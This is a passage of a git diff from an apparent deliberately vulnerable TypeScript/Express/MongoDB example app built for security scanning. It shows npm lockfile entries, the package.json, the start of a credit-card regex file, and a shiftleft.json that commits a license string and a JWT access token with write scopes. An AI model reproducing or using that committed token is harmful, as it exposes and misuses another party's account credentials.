"parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true + }, + "path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "requires": { + "asap": "~2.0.3" + } + }, + "proxy-addr": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", + "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "requires": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.9.1" + } + }, + "pug": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pug/-/pug-2.0.4.tgz", + "integrity": "sha512-XhoaDlvi6NIzL49nu094R2NA6P37ijtgMDuWE+ofekDChvfKnzFal60bhSdiy8y2PBO6fmz3oMEIcfpBVRUdvw==", + "requires": { + "pug-code-gen": "^2.0.2", + "pug-filters": "^3.1.1", + "pug-lexer": "^4.1.0", + "pug-linker": "^3.0.6", + "pug-load": "^2.0.12", + "pug-parser": "^5.0.1", + "pug-runtime": "^2.0.5", + "pug-strip-comments": "^1.0.4" + } + }, + "pug-attrs": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-2.0.4.tgz", + "integrity": "sha512-TaZ4Z2TWUPDJcV3wjU3RtUXMrd3kM4Wzjbe3EWnSsZPsJ3LDI0F3yCnf2/W7PPFF+edUFQ0HgDL1IoxSz5K8EQ==", + "requires": { + "constantinople": "^3.0.1", + "js-stringify": "^1.0.1", + "pug-runtime": "^2.0.5" + } + }, + "pug-code-gen": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-2.0.2.tgz", + "integrity": "sha512-kROFWv/AHx/9CRgoGJeRSm+4mLWchbgpRzTEn8XCiwwOy6Vh0gAClS8Vh5TEJ9DBjaP8wCjS3J6HKsEsYdvaCw==", + "requires": { + "constantinople": "^3.1.2", + "doctypes": "^1.1.0", + "js-stringify": "^1.0.1", + "pug-attrs": "^2.0.4", + "pug-error": "^1.3.3", + "pug-runtime": "^2.0.5", + "void-elements": "^2.0.1", + "with": "^5.0.0" + } + }, + "pug-error": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-1.3.3.tgz", + "integrity": "sha512-qE3YhESP2mRAWMFJgKdtT5D7ckThRScXRwkfo+Erqga7dyJdY3ZquspprMCj/9sJ2ijm5hXFWQE/A3l4poMWiQ==" + }, + "pug-filters": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-3.1.1.tgz", + "integrity": "sha512-lFfjNyGEyVWC4BwX0WyvkoWLapI5xHSM3xZJFUhx4JM4XyyRdO8Aucc6pCygnqV2uSgJFaJWW3Ft1wCWSoQkQg==", + "requires": { + "clean-css": "^4.1.11", + "constantinople": "^3.0.1", + "jstransformer": "1.0.0", + "pug-error": "^1.3.3", + "pug-walk": "^1.1.8", + "resolve": "^1.1.6", + "uglify-js": "^2.6.1" + } + }, + "pug-lexer": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-4.1.0.tgz", + "integrity": "sha512-i55yzEBtjm0mlplW4LoANq7k3S8gDdfC6+LThGEvsK4FuobcKfDAwt6V4jKPH9RtiE3a2Akfg5UpafZ1OksaPA==", + "requires": { + "character-parser": "^2.1.1", + "is-expression": "^3.0.0", + "pug-error": "^1.3.3" + } + }, + "pug-linker": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-3.0.6.tgz", + "integrity": "sha512-bagfuHttfQOpANGy1Y6NJ+0mNb7dD2MswFG2ZKj22s8g0wVsojpRlqveEQHmgXXcfROB2RT6oqbPYr9EN2ZWzg==", + "requires": { + "pug-error": "^1.3.3", + "pug-walk": "^1.1.8" + } + }, + "pug-load": { + "version": "2.0.12", + "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-2.0.12.tgz", + "integrity": "sha512-UqpgGpyyXRYgJs/X60sE6SIf8UBsmcHYKNaOccyVLEuT6OPBIMo6xMPhoJnqtB3Q3BbO4Z3Bjz5qDsUWh4rXsg==", + "requires": { + "object-assign": "^4.1.0", + "pug-walk": "^1.1.8" + } + }, + "pug-parser": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-5.0.1.tgz", + "integrity": "sha512-nGHqK+w07p5/PsPIyzkTQfzlYfuqoiGjaoqHv1LjOv2ZLXmGX1O+4Vcvps+P4LhxZ3drYSljjq4b+Naid126wA==", + "requires": { + "pug-error": "^1.3.3", + "token-stream": "0.0.1" + } + }, + "pug-runtime": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-2.0.5.tgz", + "integrity": "sha512-P+rXKn9un4fQY77wtpcuFyvFaBww7/91f3jHa154qU26qFAnOe6SW1CbIDcxiG5lLK9HazYrMCCuDvNgDQNptw==" + }, + "pug-strip-comments": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-1.0.4.tgz", + "integrity": "sha512-i5j/9CS4yFhSxHp5iKPHwigaig/VV9g+FgReLJWWHEHbvKsbqL0oP/K5ubuLco6Wu3Kan5p7u7qk8A4oLLh6vw==", + "requires": { + "pug-error": "^1.3.3" + } + }, + "pug-walk": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-1.1.8.tgz", + "integrity": "sha512-GMu3M5nUL3fju4/egXwZO0XLi6fW/K3T3VTgFQ14GxNi8btlxgT5qZL//JwZFm/2Fa64J/PNS8AZeys3wiMkVA==" + }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" + }, + "random-bytes": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz", + "integrity": "sha1-T2ih3Arli9P7lYSMMDJNt11kNgs=" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "requires": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=" + }, + "require_optional": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require_optional/-/require_optional-1.0.1.tgz", + "integrity": "sha512-qhM/y57enGWHAe3v/NcwML6a3/vfESLe/sGM2dII+gEO0BpKRUkWZow/tyloNqJyN6kXSl3RyyM8Ll5D/sJP8g==", + "requires": { + "resolve-from": "^2.0.0", + "semver": "^5.1.0" + } + }, + "resolve": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", + "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "requires": { + "path-parse": "^1.0.6" + } + }, + "resolve-from": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-2.0.0.tgz", + "integrity": "sha1-lICrIOlP+h2egKgEx+oUdhGWa1c=" + }, + "right-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", + "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", + "requires": { + "align-text": "^0.1.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "saslprep": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/saslprep/-/saslprep-1.0.3.tgz", + "integrity": "sha512-/MY/PEMbk2SuY5sScONwhUDsV2p77Znkb/q3nSVstq/yQzYJOH/Azh29p9oJLsl3LnQwSvZDKagDGBsBwSooag==", + "optional": true, + "requires": { + "sparse-bitfield": "^3.0.3" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + } + } + }, + "serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + } + }, + "setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "sparse-bitfield": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz", + "integrity": "sha1-/0rm5oZWBWuks+eSqzM004JzyhE=", + "optional": true, + "requires": { + "memory-pager": "^1.0.2" + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "to-fast-properties": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", + "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=" + }, + "toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + }, + "token-stream": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-0.0.1.tgz", + "integrity": "sha1-zu78cXp2xDFvEm0LnbqlXX598Bo=" + }, + "tslib": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", + "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==", + "dev": true + }, + "tslint": { + "version": "5.20.1", + "resolved": "https://registry.npmjs.org/tslint/-/tslint-5.20.1.tgz", + "integrity": "sha512-EcMxhzCFt8k+/UP5r8waCf/lzmeSyVlqxqMEDQE7rWYiQky8KpIBz1JAoYXfROHrPZ1XXd43q8yQnULOLiBRQg==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.0.0", + "builtin-modules": "^1.1.1", + "chalk": "^2.3.0", + "commander": "^2.12.1", + "diff": "^4.0.1", + "glob": "^7.1.1", + "js-yaml": "^3.13.1", + "minimatch": "^3.0.4", + "mkdirp": "^0.5.1", + "resolve": "^1.3.2", + "semver": "^5.3.0", + "tslib": "^1.8.0", + "tsutils": "^2.29.0" + } + }, + "tslint-microsoft-contrib": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/tslint-microsoft-contrib/-/tslint-microsoft-contrib-6.2.0.tgz", + "integrity": "sha512-6tfi/2tHqV/3CL77pULBcK+foty11Rr0idRDxKnteTaKm6gWF9qmaCNU17HVssOuwlYNyOmd9Jsmjd+1t3a3qw==", + "dev": true, + "requires": { + "tsutils": "^2.27.2 <2.29.0" + }, + "dependencies": { + "tsutils": { + "version": "2.28.0", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-2.28.0.tgz", + "integrity": "sha512-bh5nAtW0tuhvOJnx1GLRn5ScraRLICGyJV5wJhtRWOLsxW70Kk5tZtpK3O/hW6LDnqKS9mlUMPZj9fEMJ0gxqA==", + "dev": true, + "requires": { + "tslib": "^1.8.1" + } + } + } + }, + "tslint-no-unused-expression-chai": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/tslint-no-unused-expression-chai/-/tslint-no-unused-expression-chai-0.1.4.tgz", + "integrity": "sha512-frEWKNTcq7VsaWKgUxMDOB2N/cmQadVkUtUGIut+2K4nv/uFXPfgJyPjuNC/cHyfUVqIkHMAvHOCL+d/McU3nQ==", + "dev": true, + "requires": { + "tsutils": "^3.0.0" + }, + "dependencies": { + "tsutils": { + "version": "3.17.1", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.17.1.tgz", + "integrity": "sha512-kzeQ5B8H3w60nFY2g8cJIuH7JDpsALXySGtwGJ0p2LSjLgay3NdIpqq5SoOBe46bKDW2iq25irHCr8wjomUS2g==", + "dev": true, + "requires": { + "tslib": "^1.8.1" + } + } + } + }, + "tsutils": { + "version": "2.29.0", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-2.29.0.tgz", + "integrity": "sha512-g5JVHCIJwzfISaXpXE1qvNalca5Jwob6FjI4AoPlqMusJ6ftFE7IkkFoMhVLRgK+4Kx3gkzb8UZK5t5yTTvEmA==", + "dev": true, + "requires": { + "tslib": "^1.8.1" + } + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "typescript": { + "version": "3.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.3.tgz", + "integrity": "sha512-D/wqnB2xzNFIcoBG9FG8cXRDjiqSTbG2wd8DMZeQyJlP1vfTkIxH4GKveWaEBYySKIg+USu+E+EDIR47SqnaMQ==", + "dev": true + }, + "uglify-js": { + "version": "2.8.29", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", + "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", + "requires": { + "source-map": "~0.5.1", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.10.0" + }, + "dependencies": { + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" + } + } + }, + "uglify-to-browserify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", + "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", + "optional": true + }, + "uid-safe": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz", + "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==", + "requires": { + "random-bytes": "~1.0.0" + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "void-elements": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-2.0.1.tgz", + "integrity": "sha1-wGavtYK7HLQSjWDqkjkulNXp2+w=" + }, + "window-size": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=" + }, + "with": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/with/-/with-5.1.1.tgz", + "integrity": "sha1-+k2qktrzLE6pTtRTyB8EaGtXXf4=", + "requires": { + "acorn": "^3.1.0", + "acorn-globals": "^3.0.0" + } + }, + "wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=" + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true + }, + "yargs": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", + "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", + "requires": { + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", + "window-size": "0.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..f7105925 --- /dev/null +++ b/package.json @@ -0,0 +1,40 @@ +{ + "name": "@hoolicorp/shiftleft-ts-example", + "version": "1.0.0", + "description": "Vulnerable app built with TypeScript, expressJS and mongoDB", + "main": "index.js", + "scripts": { + "start": "npm run init-db && npm run server", + "init-db": "node db-init.js", + "server": "PORT=8089 node index.js", + "compile": "tsc -p ./", + "watch": "tsc -watch -p ./", + "pretest": "npm run compile", + "lint": "tslint --project ./ -t verbose" + }, + "author": "Chaitanya Kumar Kamatham ", + "license": "MIT", + "dependencies": { + "axios": "^0.19.0", + "body-parser": "^1.19.0", + "cookie-parser": "^1.4.4", + "express": "^4.17.1", + "express-session": "^1.17.0", + "form-data": "^2.5.1", + "mongodb": "^3.3.3", + "pug": "^2.0.4" + }, + "devDependencies": { + "@types/axios": "^0.14.0", + "@types/body-parser": "^1.19.0", + "@types/cookie-parser": "^1.4.2", + "@types/express": "^4.17.6", + "@types/express-session": "^1.17.0", + "@types/mongodb": "^3.5.20", + "@types/node": "^7.10.7", + "tslint": "^5.18.0", + "tslint-microsoft-contrib": "^6.0.0", + "tslint-no-unused-expression-chai": "^0.1.4", + "typescript": "^3.8.3" + } +} diff --git a/shiftleft.json b/shiftleft.json new file mode 100644 index 00000000..619f94d0 --- /dev/null +++ b/shiftleft.json @@ -0,0 +1,5 @@ +{ + "license": "ZXlKaGJHY2lPaUpTVXpVeE1pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBZWFFpT2pFMU9ETTNOek13TmpVc0ltbHpjeUk2SWxOb2FXWjBUR1ZtZENJc0ltOXlaMGxFSWpvaU5Ea3dPRGxrTXpjdE5qaG1aaTAwTjJVekxUa3dNelV0TWpZNVpUWmxPVEZoTkRSa0lpd2lkWE5sY2tsRUlqb2laakF6WlRBNE5tRXRNRE0xTmkwME1USXpMVGhpWVdZdE56TTFZVGs1TURWaE56YzBJaXdpYzJOdmNHVnpJanBiSW5ObFlYUnpPbmR5YVhSbElpd2laWGgwWlc1a1pXUWlMQ0poY0drNmRqSWlMQ0oxY0d4dllXUnpPbmR5YVhSbElpd2liRzluT25keWFYUmxJaXdpY0dsd1pXeHBibVZ6ZEdGMGRYTTZjbVZoWkNJc0ltMWxkSEpwWTNNNmQzSnBkR1VpTENKd2IyeHBZMmxsY3pwamRYTjBiMjFsY2lKZGZRLlpLSjVObkU3RkdtNFFJMHNfcUtyRHFGV0ljOFFObkJxMF9BR2E0TmpkYkcwaVI1T2VrRjhQQ21Kemo4V09lM054U0lXeDgydW5UMUxISjJ4WjFpNXhLdGJiMlYwTzM5Q1R0enlrd05IU1lfYUhNWU5ZWG9EQW9NVWJ1V2RnU3NzdV9zRHUwcTQySXBVU3FpUDQ1QjlfRTJBMTEtOW5jbnRXN3B1SHB4TldfZXN6QmlhUklDQWpDeVlQQ0U3SUc4MXdBRlJsSGtWTHNseHdSS2FSREQxbXJZNXh2MXV4RWVYWXUzaFdqS2VaS2xGNW52eG9MbG41QTliamE5VW8xa25uaHRyRmRGQm92QjIzZ0dvUnFFQmlka0Z6a3QtVkVQbEZXWVlJdk1VbFU1RzVFX1ZZQzV2ZWZIZ3RKRENZMlIzNXJxdXNRaFdtM05obE04ZmZ2M3Fsdw==", + "sprId": "sl/49089d37-68ff-47e3-9035-269e6e91a44d/ShiftLeftTS/13391d6d06c43289fce9f27f48258683e3e92ffc59a0835a496a3d134753e8d9", + "accessToken": "eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1ODM3NzMwNjUsImlzcyI6IlNoaWZ0TGVmdCIsIm9yZ0lEIjoiNDkwODlkMzctNjhmZi00N2UzLTkwMzUtMjY5ZTZlOTFhNDRkIiwidXNlcklEIjoiZjAzZTA4NmEtMDM1Ni00MTIzLThiYWYtNzM1YTk5MDVhNzc0Iiwic2NvcGVzIjpbInNlYXRzOndyaXRlIiwiZXh0ZW5kZWQiLCJhcGk6djIiLCJ1cGxvYWRzOndyaXRlIiwibG9nOndyaXRlIiwicGlwZWxpbmVzdGF0dXM6cmVhZCIsIm1ldHJpY3M6d3JpdGUiLCJwb2xpY2llczpjdXN0b21lciJdfQ.ZKJ5NnE7FGm4QI0s_qKrDqFWIc8QNnBq0_AGa4NjdbG0iR5OekF8PCmJzj8WOe3NxSIWx82unT1LHJ2xZ1i5xKtbb2V0O39CTtzykwNHSY_aHMYNYXoDAoMUbuWdgSssu_sDu0q42IpUSqiP45B9_E2A11-9ncntW7puHpxNW_eszBiaRICAjCyYPCE7IG81wAFRlHkVLslxwRKaRDD1mrY5xv1uxEeXYu3hWjKeZKlF5nvxoLln5A9bja9Uo1knnhtrFdFBovB23gGoRqEBidkFzkt-VEPlFWYYIvMUlU5G5E_VYC5vefHgtJDCY2R35rqusQhWm3NhlM8ffv3qlw" +} \ No newline at end of file diff --git a/src/Constants/Regex.ts b/src/Constants/Regex.ts new file mode 100644 index 00000000..e7ee1b24 --- /dev/null +++ b/src/Constants/Regex.ts @@ -0,0 +1,49 @@ +const CREDIT_CARD_NUMBER_REGEX_STR = + "\\b(?:4[ -]*(?:\\d[ -]*){11}(?:(?:\\d[ -]*){3})?\\d|" + + "(?:5[ -]*[1-5](?:[ -]*\\d){2}|(?:2[ -]*){3}[1-9]|(?:2[ -]*){2}[3-9][ -]*" + + "\\d|2[ -]*[3-6](?:[ -]*\\d){2}|2[ -]*7[ -]*[01][ -]*\\d|2[ -]*7[ -]*2[ -]*0)(?:[ -]*" + + "\\d){12}|3[ -]*[47](?:[ -]*\\d){13}|3[ -]*(?:0[ -]*[0-5]|[68][ -]*\\d)(?:[ -]*" 